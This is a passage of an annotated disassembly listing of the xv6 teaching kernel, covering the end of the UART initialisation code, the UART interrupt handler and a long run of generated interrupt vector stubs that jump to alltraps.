801058ab: ec in (%dx),%al
if(inb(COM1+5) == 0xFF)
801058ac: 3c ff cmp $0xff,%al
801058ae: 74 42 je 801058f2 <uartinit+0x92>
uart = 1;
801058b0: c7 05 bc a5 10 80 01 movl $0x1,0x8010a5bc
801058b7: 00 00 00
801058ba: 89 fa mov %edi,%edx
801058bc: ec in (%dx),%al
801058bd: b2 f8 mov $0xf8,%dl
801058bf: ec in (%dx),%al
ioapicenable(IRQ_COM1, 0);
801058c0: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801058c7: 00
for(p="xv6...\n"; *p; p++)
801058c8: bb 24 77 10 80 mov $0x80107724,%ebx
ioapicenable(IRQ_COM1, 0);
801058cd: c7 04 24 04 00 00 00 movl $0x4,(%esp)
801058d4: e8 b7 c9 ff ff call 80102290 <ioapicenable>
for(p="xv6...\n"; *p; p++)
801058d9: b8 78 00 00 00 mov $0x78,%eax
801058de: 66 90 xchg %ax,%ax
uartputc(*p);
801058e0: 89 04 24 mov %eax,(%esp)
for(p="xv6...\n"; *p; p++)
801058e3: 83 c3 01 add $0x1,%ebx
uartputc(*p);
801058e6: e8 25 ff ff ff call 80105810 <uartputc>
for(p="xv6...\n"; *p; p++)
801058eb: 0f be 03 movsbl (%ebx),%eax
801058ee: 84 c0 test %al,%al
801058f0: 75 ee jne 801058e0 <uartinit+0x80>
}
801058f2: 83 c4 1c add $0x1c,%esp
801058f5: 5b pop %ebx
801058f6: 5e pop %esi
801058f7: 5f pop %edi
801058f8: 5d pop %ebp
801058f9: c3 ret
801058fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105900 <uartintr>:
void
uartintr(void)
{
80105900: 55 push %ebp
80105901: 89 e5 mov %esp,%ebp
80105903: 83 ec 18 sub $0x18,%esp
consoleintr(uartgetc);
80105906: c7 04 24 e0 57 10 80 movl $0x801057e0,(%esp)
8010590d: e8 9e ae ff ff call 801007b0 <consoleintr>
}
80105912: c9 leave
80105913: c3 ret
80105914 <vector0>:
# generated by vectors.pl - do not edit
# handlers
.globl alltraps
.globl vector0
vector0:
pushl $0
80105914: 6a 00 push $0x0
pushl $0
80105916: 6a 00 push $0x0
jmp alltraps
80105918: e9 e0 fa ff ff jmp 801053fd <alltraps>
8010591d <vector1>:
.globl vector1
vector1:
pushl $0
8010591d: 6a 00 push $0x0
pushl $1
8010591f: 6a 01 push $0x1
jmp alltraps
80105921: e9 d7 fa ff ff jmp 801053fd <alltraps>
80105926 <vector2>:
.globl vector2
vector2:
pushl $0
80105926: 6a 00 push $0x0
pushl $2
80105928: 6a 02 push $0x2
jmp alltraps
8010592a: e9 ce fa ff ff jmp 801053fd <alltraps>
8010592f <vector3>:
.globl vector3
vector3:
pushl $0
8010592f: 6a 00 push $0x0
pushl $3
80105931: 6a 03 push $0x3
jmp alltraps
80105933: e9 c5 fa ff ff jmp 801053fd <alltraps>
80105938 <vector4>:
.globl vector4
vector4:
pushl $0
80105938: 6a 00 push $0x0
pushl $4
8010593a: 6a 04 push $0x4
jmp alltraps
8010593c: e9 bc fa ff ff jmp 801053fd <alltraps>
80105941 <vector5>:
.globl vector5
vector5:
pushl $0
80105941: 6a 00 push $0x0
pushl $5
80105943: 6a 05 push $0x5
jmp alltraps
80105945: e9 b3 fa ff ff jmp 801053fd <alltraps>
8010594a <vector6>:
.globl vector6
vector6:
pushl $0
8010594a: 6a 00 push $0x0
pushl $6
8010594c: 6a 06 push $0x6
jmp alltraps
8010594e: e9 aa fa ff ff jmp 801053fd <alltraps>
80105953 <vector7>:
.globl vector7
vector7:
pushl $0
80105953: 6a 00 push $0x0
pushl $7
80105955: 6a 07 push $0x7
jmp alltraps
80105957: e9 a1 fa ff ff jmp 801053fd <alltraps>
8010595c <vector8>:
.globl vector8
vector8:
pushl $8
8010595c: 6a 08 push $0x8
jmp alltraps
8010595e: e9 9a fa ff ff jmp 801053fd <alltraps>
80105963 <vector9>:
.globl vector9
vector9:
pushl $0
80105963: 6a 00 push $0x0
pushl $9
80105965: 6a 09 push $0x9
jmp alltraps
80105967: e9 91 fa ff ff jmp 801053fd <alltraps>
8010596c <vector10>:
.globl vector10
vector10:
pushl $10
8010596c: 6a 0a push $0xa
jmp alltraps
8010596e: e9 8a fa ff ff jmp 801053fd <alltraps>
80105973 <vector11>:
.globl vector11
vector11:
pushl $11
80105973: 6a 0b push $0xb
jmp alltraps
80105975: e9 83 fa ff ff jmp 801053fd <alltraps>
8010597a <vector12>:
.globl vector12
vector12:
pushl $12
8010597a: 6a 0c push $0xc
jmp alltraps
8010597c: e9 7c fa ff ff jmp 801053fd <alltraps>
80105981 <vector13>:
.globl vector13
vector13:
pushl $13
80105981: 6a 0d push $0xd
jmp alltraps
80105983: e9 75 fa ff ff jmp 801053fd <alltraps>
80105988 <vector14>:
.globl vector14
vector14:
pushl $14
80105988: 6a 0e push $0xe
jmp alltraps
8010598a: e9 6e fa ff ff jmp 801053fd <alltraps>
8010598f <vector15>:
.globl vector15
vector15:
pushl $0
8010598f: 6a 00 push $0x0
pushl $15
80105991: 6a 0f push $0xf
jmp alltraps
80105993: e9 65 fa ff ff jmp 801053fd <alltraps>
80105998 <vector16>:
.globl vector16
vector16:
pushl $0
80105998: 6a 00 push $0x0
pushl $16
8010599a: 6a 10 push $0x10
jmp alltraps
8010599c: e9 5c fa ff ff jmp 801053fd <alltraps>
801059a1 <vector17>:
.globl vector17
vector17:
pushl $17
801059a1: 6a 11 push $0x11
jmp alltraps
801059a3: e9 55 fa ff ff jmp 801053fd <alltraps>
801059a8 <vector18>:
.globl vector18
vector18:
pushl $0
801059a8: 6a 00 push $0x0
pushl $18
801059aa: 6a 12 push $0x12
jmp alltraps
801059ac: e9 4c fa ff ff jmp 801053fd <alltraps>
801059b1 <vector19>:
.globl vector19
vector19:
pushl $0
801059b1: 6a 00 push $0x0
pushl $19
801059b3: 6a 13 push $0x13
jmp alltraps
801059b5: e9 43 fa ff ff jmp 801053fd <alltraps>
801059ba <vector20>:
.globl vector20
vector20:
pushl $0
801059ba: 6a 00 push $0x0
pushl $20
801059bc: 6a 14 push $0x14
jmp alltraps
801059be: e9 3a fa ff ff jmp 801053fd <alltraps>
801059c3 <vector21>:
.globl vector21
vector21:
pushl $0
801059c3: 6a 00 push $0x0
pushl $21
801059c5: 6a 15 push $0x15
jmp alltraps
801059c7: e9 31 fa ff ff jmp 801053fd <alltraps>
801059cc <vector22>:
.globl vector22
vector22:
pushl $0
801059cc: 6a 00 push $0x0
pushl $22
801059ce: 6a 16 push $0x16
jmp alltraps
801059d0: e9 28 fa ff ff jmp 801053fd <alltraps>
801059d5 <vector23>:
.globl vector23
vector23:
pushl $0
801059d5: 6a 00 push $0x0
pushl $23
801059d7: 6a 17 push $0x17
jmp alltraps
801059d9: e9 1f fa ff ff jmp 801053fd <alltraps>
801059de <vector24>:
.globl vector24
vector24:
pushl $0
801059de: 6a 00 push $0x0
pushl $24
801059e0: 6a 18 push $0x18
jmp alltraps
801059e2: e9 16 fa ff ff jmp 801053fd <alltraps>
801059e7 <vector25>:
.globl vector25
vector25:
pushl $0
801059e7: 6a 00 push $0x0
pushl $25
801059e9: 6a 19 push $0x19
jmp alltraps
801059eb: e9 0d fa ff ff jmp 801053fd <alltraps>
801059f0 <vector26>:
.globl vector26
vector26:
pushl $0
801059f0: 6a 00 push $0x0
pushl $26
801059f2: 6a 1a push $0x1a
jmp alltraps
801059f4: e9 04 fa ff ff jmp 801053fd <alltraps>
801059f9 <vector27>:
.globl vector27
vector27:
pushl $0
801059f9: 6a 00 push $0x0
pushl $27
801059fb: 6a 1b push $0x1b
jmp alltraps
801059fd: e9 fb f9 ff ff jmp 801053fd <alltraps>
80105a02 <vector28>:
.globl vector28
vector28:
pushl $0
80105a02: 6a 00 push $0x0
pushl $28
80105a04: 6a 1c push $0x1c
jmp alltraps
80105a06: e9 f2 f9 ff ff jmp 801053fd <alltraps>
80105a0b <vector29>:
.globl vector29
vector29:
pushl $0
80105a0b: 6a 00 push $0x0
pushl $29
80105a0d: 6a 1d push $0x1d
jmp alltraps
80105a0f: e9 e9 f9 ff ff jmp 801053fd <alltraps>
80105a14 <vector30>:
.globl vector30
vector30:
pushl $0
80105a14: 6a 00 push $0x0
pushl $30
80105a16: 6a 1e push $0x1e
jmp alltraps
80105a18: e9 e0 f9 ff ff jmp 801053fd <alltraps>
80105a1d <vector31>:
.globl vector31
vector31:
pushl $0
80105a1d: 6a 00 push $0x0
pushl $31
80105a1f: 6a 1f push $0x1f
jmp alltraps
80105a21: e9 d7 f9 ff ff jmp 801053fd <alltraps>
80105a26 <vector32>:
.globl vector32
vector32:
pushl $0
80105a26: 6a 00 push $0x0
pushl $32
80105a28: 6a 20 push $0x20
jmp alltraps
80105a2a: e9 ce f9 ff ff jmp 801053fd <alltraps>
80105a2f <vector33>:
.globl vector33
vector33:
pushl $0
80105a2f: 6a 00 push $0x0
pushl $33
80105a31: 6a 21 push $0x21
jmp alltraps
80105a33: e9 c5 f9 ff ff jmp 801053fd <alltraps>
80105a38 <vector34>:
.globl vector34
vector34:
pushl $0
80105a38: 6a 00 push $0x0
pushl $34
80105a3a: 6a 22 push $0x22
jmp alltraps
80105a3c: e9 bc f9 ff ff jmp 801053fd <alltraps>
80105a41 <vector35>:
.globl vector35
vector35:
pushl $0
80105a41: 6a 00 push $0x0
pushl $35
80105a43: 6a 23 push $0x23
jmp alltraps
80105a45: e9 b3 f9 ff ff jmp 801053fd <alltraps>
80105a4a <vector36>:
.globl vector36
vector36:
pushl $0
80105a4a: 6a 00 push $0x0
pushl $36
80105a4c: 6a 24 push $0x24
jmp alltraps
80105a4e: e9 aa f9 ff ff jmp 801053fd <alltraps>
80105a53 <vector37>:
.globl vector37
vector37:
pushl $0
80105a53: 6a 00 push $0x0
pushl $37
80105a55: 6a 25 push $0x25
jmp alltraps
80105a57: e9 a1 f9 ff ff jmp 801053fd <alltraps>
80105a5c <vector38>:
.globl vector38
vector38:
pushl $0
80105a5c: 6a 00 push $0x0
pushl $38
80105a5e: 6a 26 push $0x26
jmp alltraps
80105a60: e9 98 f9 ff ff jmp 801053fd <alltraps>
80105a65 <vector39>:
.globl vector39
vector39:
pushl $0
80105a65: 6a 00 push $0x0
pushl $39
80105a67: 6a 27 push $0x27
jmp alltraps
80105a69: e9 8f f9 ff ff jmp 801053fd <alltraps>
80105a6e <vector40>:
.globl vector40
vector40:
pushl $0
80105a6e: 6a 00 push $0x0
pushl $40
80105a70: 6a 28 push $0x28
jmp alltraps
80105a72: e9 86 f9 ff ff jmp 801053fd <alltraps>
80105a77 <vector41>:
.globl vector41
vector41:
pushl $0
80105a77: 6a 00 push $0x0
pushl $41
80105a79: 6a 29 push $0x29
jmp alltraps
80105a7b: e9 7d f9 ff ff jmp 801053fd <alltraps>
80105a80 <vector42>:
.globl vector42
vector42:
pushl $0
80105a80: 6a 00 push $0x0
pushl $42
80105a82: 6a 2a push $0x2a
jmp alltraps
80105a84: e9 74 f9 ff ff jmp 801053fd <alltraps>
80105a89 <vector43>:
.globl vector43
vector43:
pushl $0
80105a89: 6a 00 push $0x0
pushl $43
80105a8b: 6a 2b push $0x2b
jmp alltraps
80105a8d: e9 6b f9 ff ff jmp 801053fd <alltraps>
80105a92 <vector44>:
.globl vector44
vector44:
pushl $0
80105a92: 6a 00 push $0x0
pushl $44
80105a94: 6a 2c push $0x2c
jmp alltraps
80105a96: e9 62 f9 ff ff jmp 801053fd <alltraps>
80105a9b <vector45>:
.globl vector45
vector45:
pushl $0
80105a9b: 6a 00 push $0x0
pushl $45
80105a9d: 6a 2d push $0x2d
jmp alltraps
80105a9f: e9 59 f9 ff ff jmp 801053fd <alltraps>
80105aa4 <vector46>:
.globl vector46
vector46:
pushl $0
80105aa4: 6a 00 push $0x0
pushl $46
80105aa6: 6a 2e push $0x2e
jmp alltraps
80105aa8: e9 50 f9 ff ff jmp 801053fd <alltraps>
80105aad <vector47>:
.globl vector47
vector47:
pushl $0
80105aad: 6a 00 push $0x0
pushl $47
80105aaf: 6a 2f push $0x2f
jmp alltraps
80105ab1: e9 47 f9 ff ff jmp 801053fd <alltraps>
80105ab6 <vector48>:
.globl vector48
vector48:
pushl $0
80105ab6: 6a 00 push $0x0
pushl $48
80105ab8: 6a 30 push $0x30
jmp alltraps
80105aba: e9 3e f9 ff ff jmp 801053fd <alltraps>
80105abf <vector49>:
.globl vector49
vector49:
pushl $0
80105abf: 6a 00 push $0x0
pushl $49
80105ac1: 6a 31 push $0x31
jmp alltraps
80105ac3: e9 35 f9 ff ff jmp 801053fd <alltraps>
80105ac8 <vector50>:
.globl vector50
vector50:
pushl $0
80105ac8: 6a 00 push $0x0
pushl $50
80105aca: 6a 32 push $0x32
jmp alltraps
80105acc: e9 2c f9 ff ff jmp 801053fd <alltraps>
80105ad1 <vector51>:
.globl vector51
vector51:
pushl $0
80105ad1: 6a 00 push $0x0
pushl $51
80105ad3: 6a 33 push $0x33
jmp alltraps
80105ad5: e9 23 f9 ff ff jmp 801053fd <alltraps>
80105ada <vector52>:
.globl vector52
vector52:
pushl $0
80105ada: 6a 00 push $0x0
pushl $52
80105adc: 6a 34 push $0x34
jmp alltraps
80105ade: e9 1a f9 ff ff jmp 801053fd <alltraps>
80105ae3 <vector53>:
.globl vector53
vector53:
pushl $0
80105ae3: 6a 00 push $0x0
pushl $53
80105ae5: 6a 35 push $0x35
jmp alltraps
80105ae7: e9 11 f9 ff ff jmp 801053fd <alltraps>
80105aec <vector54>:
.globl vector54
vector54:
pushl $0
80105aec: 6a 00 push $0x0
pushl $54
80105aee: 6a 36 push $0x36
jmp alltraps
80105af0: e9 08 f9 ff ff jmp 801053fd <alltraps>
80105af5 <vector55>:
.globl vector55
vector55:
pushl $0
80105af5: 6a 00 push $0x0
pushl $55
80105af7: 6a 37 push $0x37
jmp alltraps
80105af9: e9 ff f8 ff ff jmp 801053fd <alltraps>
80105afe <vector56>:
.globl vector56
vector56:
pushl $0
80105afe: 6a 00 push $0x0
pushl $56
80105b00: 6a 38 push $0x38
jmp alltraps
80105b02: e9 f6 f8 ff ff jmp 801053fd <alltraps>
80105b07 <vector57>:
.globl vector57
vector57:
pushl $0
80105b07: 6a 00 push $0x0
pushl $57
80105b09: 6a 39 push $0x39
jmp alltraps
80105b0b: e9 ed f8 ff ff jmp 801053fd <alltraps>
80105b10 <vector58>:
.globl vector58
vector58:
pushl $0
80105b10: 6a 00 push $0x0
pushl $58
80105b12: 6a 3a push $0x3a
jmp alltraps
80105b14: e9 e4 f8 ff ff jmp 801053fd <alltraps>
80105b19 <vector59>:
.globl vector59
vector59:
pushl $0
80105b19: 6a 00 push $0x0
pushl $59
80105b1b: 6a 3b push $0x3b
jmp alltraps
80105b1d: e9 db f8 ff ff jmp 801053fd <alltraps>
80105b22 <vector60>:
.globl vector60
vector60:
pushl $0
80105b22: 6a 00 push $0x0
pushl $60
80105b24: 6a 3c push $0x3c
jmp alltraps
80105b26: e9 d2 f8 ff ff jmp 801053fd <alltraps>
80105b2b <vector61>:
.globl vector61
vector61:
pushl $0
80105b2b: 6a 00 push $0x0
pushl $61
80105b2d: 6a 3d push $0x3d
jmp alltraps
80105b2f: e9 c9 f8 ff ff jmp 801053fd <alltraps>
80105b34 <vector62>:
.globl vector62
vector62:
pushl $0
80105b34: 6a 00 push $0x0
pushl $62
80105b36: 6a 3e push $0x3e
jmp alltraps
80105b38: e9 c0 f8 ff ff jmp 801053fd <alltraps>
80105b3d <vector63>:
.globl vector63
vector63:
pushl $0
80105b3d: 6a 00 push $0x0
pushl $63
80105b3f: 6a 3f push $0x3f
jmp alltraps
80105b41: e9 b7 f8 ff ff jmp 801053fd <alltraps>
80105b46 <vector64>:
.globl vector64
vector64:
pushl $0
80105b46: 6a 00 push $0x0
pushl $64
80105b48: 6a 40 push $0x40
jmp alltraps
80105b4a: e9 ae f8 ff ff jmp 801053fd <alltraps>
80105b4f <vector65>:
.globl vector65
vector65:
pushl $0
80105b4f: 6a 00 push $0x0
pushl $65
80105b51: 6a 41 push $0x41
jmp alltraps
80105b53: e9 a5 f8 ff ff jmp 801053fd <alltraps>
80105b58 <vector66>:
.globl vector66
vector66:
pushl $0
80105b58: 6a 00 push $0x0
pushl $66
80105b5a: 6a 42 push $0x42
jmp alltraps
80105b5c: e9 9c f8 ff ff jmp 801053fd <alltraps>
80105b61 <vector67>:
.globl vector67
vector67:
pushl $0
80105b61: 6a 00 push $0x0
pushl $67
80105b63: 6a 43 push $0x43
jmp alltraps
80105b65: e9 93 f8 ff ff jmp 801053fd <alltraps>
80105b6a <vector68>:
.globl vector68
vector68:
pushl $0
80105b6a: 6a 00 push $0x0
pushl $68
80105b6c: 6a 44 push $0x44
jmp alltraps
80105b6e: e9 8a f8 ff ff jmp 801053fd <alltraps>
80105b73 <vector69>:
.globl vector69
vector69:
pushl $0
80105b73: 6a 00 push $0x0
pushl $69
80105b75: 6a 45 push $0x45
jmp alltraps
80105b77: e9 81 f8 ff ff jmp 801053fd <alltraps>
80105b7c <vector70>:
.globl vector70
vector70:
pushl $0
80105b7c: 6a 00 push $0x0
pushl $70
80105b7e: 6a 46 push $0x46
jmp alltraps
80105b80: e9 78 f8 ff ff jmp 801053fd <alltraps>
80105b85 <vector71>:
.globl vector71
vector71:
pushl $0
80105b85: 6a 00 push $0x0
pushl $71
80105b87: 6a 47 push $0x47
jmp alltraps
80105b89: e9 6f f8 ff ff jmp 801053fd <alltraps>
80105b8e <vector72>:
.globl vector72
vector72:
pushl $0
80105b8e: 6a 00 push $0x0
pushl $72
80105b90: 6a 48 push $0x48
jmp alltraps
80105b92: e9 66 f8 ff ff jmp 801053fd <alltraps>
80105b97 <vector73>:
.globl vector73
vector73:
pushl $0
80105b97: 6a 00 push $0x0
pushl $73
80105b99: 6a 49 push $0x49
jmp alltraps
80105b9b: e9 5d f8 ff ff jmp 801053fd <alltraps>
80105ba0 <vector74>:
.globl vector74
vector74:
pushl $0
80105ba0: 6a 00 push $0x0
pushl $74
80105ba2: 6a 4a push $0x4a
jmp alltraps
80105ba4: e9 54 f8 ff ff jmp 801053fd <alltraps>
80105ba9 <vector75>:
.globl vector75
vector75:
pushl $0
80105ba9: 6a 00 push $0x0
pushl $75
80105bab: 6a 4b push $0x4b
jmp alltraps
80105bad: e9 4b f8 ff ff jmp 801053fd <alltraps>
80105bb2 <vector76>:
.globl vector76
vector76:
pushl $0
80105bb2: 6a 00 push $0x0
pushl $76
80105bb4: 6a 4c push $0x4c
jmp alltraps
80105bb6: e9 42 f8 ff ff jmp 801053fd <alltraps>
80105bbb <vector77>:
.globl vector77
vector77:
pushl $0
80105bbb: 6a 00 push $0x0
pushl $77
80105bbd: 6a 4d push $0x4d
jmp alltraps
80105bbf: e9 39 f8 ff ff jmp 801053fd <alltraps>
80105bc4 <vector78>:
.globl vector78
vector78:
pushl $0
80105bc4: 6a 00 push $0x0
pushl $78
80105bc6: 6a 4e push $0x4e
jmp alltraps
80105bc8: e9 30 f8 ff ff jmp 801053fd <alltraps>
80105bcd <vector79>:
.globl vector79
vector79:
pushl $0
80105bcd: 6a 00 push $0x0
pushl $79
80105bcf: 6a 4f push $0x4f
jmp alltraps
80105bd1: e9 27 f8 ff ff jmp 801053fd <alltraps>
80105bd6 <vector80>:
.globl vector80
vector80:
pushl $0
80105bd6: 6a 00 push $0x0
pushl $80
80105bd8: 6a 50 push $0x50
jmp alltraps
80105bda: e9 1e f8 ff ff jmp 801053fd <alltraps>
80105bdf <vector81>:
.globl vector81
vector81:
pushl $0
80105bdf: 6a 00 push $0x0
pushl $81
80105be1: 6a 51 push $0x51
jmp alltraps
80105be3: e9 15 f8 ff ff jmp 801053fd <alltraps>
80105be8 <vector82>:
.globl vector82
vector82:
pushl $0
80105be8: 6a 00 push $0x0
pushl $82
80105bea: 6a 52 push $0x52
jmp alltraps
80105bec: e9 0c f8 ff ff jmp 801053fd <alltraps>
80105bf1 <vector83>:
.globl vector83
vector83:
pushl $0
80105bf1: 6a 00 push $0x0
pushl $83
80105bf3: 6a 53 push $0x53
jmp alltraps
80105bf5: e9 03 f8 ff ff jmp 801053fd <alltraps>
80105bfa <vector84>:
.globl vector84
vector84:
pushl $0
80105bfa: 6a 00 push $0x0
pushl $84
80105bfc: 6a 54 push $0x54
jmp alltraps
80105bfe: e9 fa f7 ff ff jmp 801053fd <alltraps>
80105c03 <vector85>:
.globl vector85
vector85:
pushl $0
80105c03: 6a 00 push $0x0
pushl $85
80105c05: 6a 55 push $0x55
jmp alltraps
80105c07: e9 f1 f7 ff ff jmp 801053fd <alltraps>
80105c0c <vector86>:
.globl vector86
vector86:
pushl $0
80105c0c: 6a 00 push $0x0
pushl $86
80105c0e: 6a 56 push $0x56
jmp alltraps
80105c10: e9 e8 f7 ff ff jmp 801053fd <alltraps>
80105c15 <vector87>:
.globl vector87
vector87:
pushl $0
80105c15: 6a 00 push $0x0
pushl $87
80105c17: 6a 57 push $0x57
jmp alltraps
80105c19: e9 df f7 ff ff jmp 801053fd <alltraps>
80105c1e <vector88>:
.globl vector88
vector88:
pushl $0
80105c1e: 6a 00 push $0x0
pushl $88
80105c20: 6a 58 push $0x58
jmp alltraps
80105c22: e9 d6 f7 ff ff jmp 801053fd <alltraps>
80105c27 <vector89>:
.globl vector89
vector89:
pushl $0
80105c27: 6a 00 push $0x0
pushl $89
80105c29: 6a 59 push $0x59
jmp alltraps
80105c2b: e9 cd f7 ff ff jmp 801053fd <alltraps>
80105c30 <vector90>:
.globl vector90
vector90:
pushl $0
80105c30: 6a 00 push $0x0
pushl $90
80105c32: 6a 5a push $0x5a
jmp alltraps
80105c34: e9 c4 f7 ff ff jmp 801053fd <alltraps>
80105c39 <vector91>:
.globl vector91
vector91:
pushl $0
80105c39: 6a 00 push $0x0
pushl $91
80105c3b: 6a 5b push $0x5b
jmp alltraps
80105c3d: e9 bb f7 ff ff jmp 801053fd <alltraps>
80105c42 <vector92>:
.globl vector92
vector92:
pushl $0
80105c42: 6a 00 push $0x0
pushl $92
80105c44: 6a 5c push $0x5c
jmp alltraps
80105c46: e9 b2 f7 ff ff jmp 801053fd <alltraps>
80105c4b <vector93>:
.globl vector93
vector93:
pushl $0
80105c4b: 6a 00 push $0x0
pushl $93
80105c4d: 6a 5d push $0x5d
jmp alltraps
80105c4f: e9 a9 f7 ff ff jmp 801053fd <alltraps>
80105c54 <vector94>:
.globl vector94
vector94:
pushl $0
80105c54: 6a 00 push $0x0
pushl $94
80105c56: 6a 5e push $0x5e
jmp alltraps
80105c58: e9 a0 f7 ff ff jmp 801053fd <alltraps>
80105c5d <vector95>:
.globl vector95
vector95:
pushl $0
80105c5d: 6a 00 push $0x0
pushl $95
80105c5f: 6a 5f push $0x5f
jmp alltraps
80105c61: e9 97 f7 ff ff jmp 801053fd <alltraps>
80105c66 <vector96>:
.globl vector96
vector96:
pushl $0
80105c66: 6a 00 push $0x0
pushl $96
80105c68: 6a 60 push $0x60
jmp alltraps
80105c6a: e9 8e f7 ff ff jmp 801053fd <alltraps>
80105c6f <vector97>:
.globl vector97
vector97:
pushl $0
80105c6f: 6a 00 push $0x0
pushl $97
80105c71: 6a 61 push $0x61
jmp alltraps
80105c73: e9 85 f7 ff ff jmp 801053fd <alltraps>
80105c78 <vector98>:
.globl vector98
vector98:
pushl $0
80105c78: 6a 00 push $0x0
pushl $98
80105c7a: 6a 62 push $0x62
jmp alltraps
80105c7c: e9 7c f7 ff ff jmp 801053fd <alltraps>
80105c81 <vector99>:
.globl vector99
vector99:
pushl $0
80105c81: 6a 00 push $0x0
pushl $99
80105c83: 6a 63 push $0x63
jmp alltraps
80105c85: e9 73 f7 ff ff jmp 801053fd <alltraps>
80105c8a <vector100>:
.globl vector100
vector100:
pushl $0
80105c8a: 6a 00 push $0x0
pushl $100
80105c8c: 6a 64 push $0x64
jmp alltraps
80105c8e: e9 6a f7 ff ff jmp 801053fd <alltraps>
80105c93 <vector101>:
.globl vector101
vector101:
pushl $0
80105c93: 6a 00 push $0x0
pushl $101
80105c95: 6a 65 push $0x65
jmp alltraps
80105c97: e9 61 f7 ff ff jmp 801053fd <alltraps>
80105c9c <vector102>:
.globl vector102
vector102:
pushl $0
80105c9c: 6a 00 push $0x0
pushl $102
80105c9e: 6a 66 push $0x66
jmp alltraps
80105ca0: e9 58 f7 ff ff jmp 801053fd <alltraps>
80105ca5 <vector103>:
.globl vector103
vector103:
pushl $0
80105ca5: 6a 00 push $0x0
pushl $103
80105ca7: 6a 67 push $0x67
jmp alltraps
80105ca9: e9 4f f7 ff ff jmp 801053fd <alltraps>
80105cae <vector104>:
.globl vector104
vector104:
pushl $0
80105cae: 6a 00 push $0x0
pushl $104
80105cb0: 6a 68 push $0x68
jmp alltraps
80105cb2: e9 46 f7 ff ff jmp 801053fd <alltraps>
80105cb7 <vector105>:
.globl vector105
vector105:
pushl $0
80105cb7: 6a 00 push $0x0
pushl $105
80105cb9: 6a 69 push $0x69
jmp alltraps
80105cbb: e9 3d f7 ff ff jmp 801053fd <alltraps>
80105cc0 <vector106>:
.globl vector106
vector106:
pushl $0
80105cc0: 6a 00 push $0x0
pushl $106
80105cc2: 6a 6a push $0x6a
jmp alltraps
80105cc4: e9 34 f7 ff ff jmp 801053fd <alltraps>
80105cc9 <vector107>:
.globl vector107
vector107:
pushl $0
80105cc9: 6a 00 push $0x0
pushl $107
80105ccb: 6a 6b push $0x6b
jmp alltraps
80105ccd: e9 2b f7 ff ff jmp 801053fd <alltraps>
80105cd2 <vector108>:
.globl vector108
vector108:
pushl $0
80105cd2: 6a 00 push $0x0
pushl $108
80105cd4: 6a 6c push $0x6c
jmp alltraps
80105cd6: e9 22 f7 ff ff jmp 801053fd <alltraps>
80105cdb <vector109>:
.globl vector109
vector109:
pushl $0
80105cdb: 6a 00 push $0x0
pushl $109
80105cdd: 6a 6d push $0x6d
jmp alltraps
80105cdf: e9 19 f7 ff ff jmp 801053fd <alltraps>
80105ce4 <vector110>:
.globl vector110
vector110:
pushl $0
80105ce4: 6a 00 push $0x0
pushl $110
80105ce6: 6a 6e push $0x6e
jmp alltraps
80105ce8: e9 10 f7 ff ff jmp 801053fd <alltraps>
80105ced <vector111>:
.globl vector111
vector111:
pushl $0
80105ced: 6a 00 push $0x0
pushl $111
80105cef: 6a 6f push $0x6f
jmp alltraps
80105cf1: e9 07 f7 ff ff jmp 801053fd <alltraps>
80105cf6 <vector112>:
.globl vector112
vector112:
pushl $0
80105cf6: 6a 00 push $0x0
pushl $112
80105cf8: 6a 70 push $0x70
jmp alltraps
80105cfa: e9 fe f6 ff ff jmp 801053fd <alltraps>
80105cff <vector113>:
.globl vector113
vector113:
pushl $0
80105cff: 6a 00 push $0x0
pushl $113
80105d01: 6a 71 push $0x71
jmp alltraps
80105d03: e9 f5 f6 ff ff jmp 801053fd <alltraps>
80105d08 <vector114>:
.globl vector114
vector114:
pushl $0
80105d08: 6a 00 push $0x0
pushl $114
80105d0a: 6a 72 push $0x72
jmp alltraps
80105d0c: e9 ec f6 ff ff jmp 801053fd <alltraps>
80105d11 <vector115>:
.globl vector115
vector115:
pushl $0
80105d11: 6a 00 push $0x0
pushl $115
80105d13: 6a 73 push $0x73
jmp alltraps
80105d15: e9 e3 f6 ff ff jmp 801053fd <alltraps>
80105d1a <vector116>:
.globl vector116
vector116:
pushl $0
80105d1a: 6a 00 push $0x0
pushl $116
80105d1c: 6a 74 push $0x74
jmp alltraps
80105d1e: e9 da f6 ff ff jmp 801053fd <alltraps>
80105d23 <vector117>:
.globl vector117
vector117:
pushl $0
80105d23: 6a 00 push $0x0
pushl $117
80105d25: 6a 75 push $0x75
jmp alltraps
80105d27: e9 d1 f6 ff ff jmp 801053fd <alltraps>
80105d2c <vector118>:
.globl vector118
vector118:
pushl $0
80105d2c: 6a 00 push $0x0
pushl $118
80105d2e: 6a 76 push $0x76
jmp alltraps
80105d30: e9 c8 f6 ff ff jmp 801053fd <alltraps>
80105d35 <vector119>:
.globl vector119
vector119:
pushl $0
80105d35: 6a 00 push $0x0
pushl $119
80105d37: 6a 77 push $0x77
jmp alltraps
80105d39: e9 bf f6 ff ff jmp 801053fd <alltraps>
80105d3e <vector120>:
.globl vector120
vector120:
pushl $0
80105d3e: 6a 00 push $0x0
pushl $120
80105d40: 6a 78 push $0x78
jmp alltraps
80105d42: e9 b6 f6 ff ff jmp 801053fd <alltraps>
80105d47 <vector121>:
.globl vector121
vector121:
pushl $0
80105d47: 6a 00 push $0x0
pushl $121
80105d49: 6a 79 push $0x79
jmp alltraps
80105d4b: e9 ad f6 ff ff jmp 801053fd <alltraps>
80105d50 <vector122>:
.globl vector122
vector122:
pushl $0
80105d50: 6a 00 push $0x0
pushl $122
80105d52: 6a 7a push $0x7a
jmp alltraps
80105d54: e9 a4 f6 ff ff jmp 801053fd <alltraps>
80105d59 <vector123>:
.globl vector123
vector123:
pushl $0
80105d59: 6a 00 push $0x0
pushl $123
80105d5b: 6a 7b push $0x7b
jmp alltraps
80105d5d: e9 9b f6 ff ff jmp 801053fd <alltraps>
80105d62 <vector124>:
.globl vector124
vector124:
pushl $0
80105d62: 6a 00 push $0x0
pushl $124
80105d64: 6a 7c push $0x7c
jmp alltraps
80105d66: e9 92 f6 ff ff jmp 801053fd <alltraps>
80105d6b <vector125>:
.globl vector125
vector125:
pushl $0
80105d6b: 6a 00 push $0x0
pushl $125
80105d6d: 6a 7d push $0x7d
jmp alltraps
80105d6f: e9 89 f6 ff ff jmp 801053fd <alltraps>
80105d74 <vector126>:
.globl vector126
vector126:
pushl $0
80105d74: 6a 00 push $0x0
pushl $126
80105d76: 6a 7e push $0x7e
jmp alltraps
80105d78: e9 80 f6 ff ff jmp 801053fd <alltraps>
80105d7d <vector127>:
